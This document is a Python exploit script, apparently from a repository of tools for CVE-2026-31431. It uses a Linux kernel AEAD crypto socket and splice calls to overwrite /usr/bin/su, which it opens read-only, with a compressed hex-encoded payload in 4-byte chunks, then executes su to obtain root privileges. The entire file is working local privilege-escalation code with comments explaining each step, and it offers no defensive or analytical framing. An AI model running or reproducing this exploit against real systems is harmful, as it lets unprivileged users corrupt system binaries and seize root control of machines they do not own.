Files
CVE-2026-31431-tools/copy_fail.py
2026-04-30 16:43:32 +01:00

72 lines
3.1 KiB
Python

#!/usr/bin/env python3
import os as os_module
import socket as socket_module
import zlib
# Convert a hex string to bytes
def hex_to_bytes(hex_string):
return bytes.fromhex(hex_string)
# Patch a 4-byte chunk (patch_bytes) at offset (chunk_offset) in file descriptor (target_fd)
# using a kernel AEAD crypto socket to write into the target binary
def patch_chunk(target_fd, chunk_offset, patch_bytes):
# Create an AEAD (Authenticated Encryption with Associated Data) socket
crypto_socket = socket_module.socket(38, 5, 0)
# Bind to the AEAD algorithm: AES-CBC with HMAC-SHA256 (with ESN)
crypto_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# SOL_ALG socket option level
sol_alg = 279
set_socket_option = crypto_socket.setsockopt
# Set the cipher key (16-byte AES key, all zeros)
set_socket_option(sol_alg, 1, hex_to_bytes("0800010000000010" + "0" * 64))
# Set the authentication tag size to 4 bytes
set_socket_option(sol_alg, 5, None, 4)
# Accept a connection on the crypto socket to get a usable file descriptor
crypto_connection, _ = crypto_socket.accept()
# The write offset into the target file is the current chunk offset + 4
write_offset = chunk_offset + 4
# Null byte used to pad control message fields
null_byte = hex_to_bytes("00")
# Send the payload chunk with crypto control messages (IV, seq number, op)
crypto_connection.sendmsg(
[b"A" * 4 + patch_bytes], # 4-byte header + 4-byte patch data
[
(sol_alg, 3, null_byte * 4), # IV (all zeros, 4 bytes)
(sol_alg, 2, b"\x10" + null_byte * 19), # Sequence number / nonce
(sol_alg, 4, b"\x08" + null_byte * 3), # Operation flags
],
32768, # MSG_SPLICE_PAGES flag to splice directly into the pipe
)
# Create a pipe to splice data from the crypto socket into the target file
pipe_read_fd, pipe_write_fd = os_module.pipe()
splice_data = os_module.splice
# Splice encrypted output into the write end of the pipe
splice_data(target_fd, pipe_write_fd, write_offset, offset_src=0)
# Splice from the read end of the pipe into the crypto socket fd (patching the binary)
splice_data(pipe_read_fd, crypto_connection.fileno(), write_offset)
try:
# Drain the response from the crypto socket
crypto_connection.recv(8 + chunk_offset)
except Exception:
pass
# Open the target binary for reading/writing (O_RDONLY=0, relies on splice to write)
target_fd = os_module.open("/usr/bin/su", 0)
chunk_offset = 0
# Decompress the payload: a sequence of 4-byte patches to apply to the binary
payload_bytes = zlib.decompress(
hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
# Iterate over the decompressed payload in 4-byte chunks and patch the binary
while chunk_offset < len(payload_bytes):
patch_chunk(target_fd, chunk_offset, payload_bytes[chunk_offset : chunk_offset + 4])
chunk_offset += 4
# Execute the (now-patched) su binary
os_module.system("su")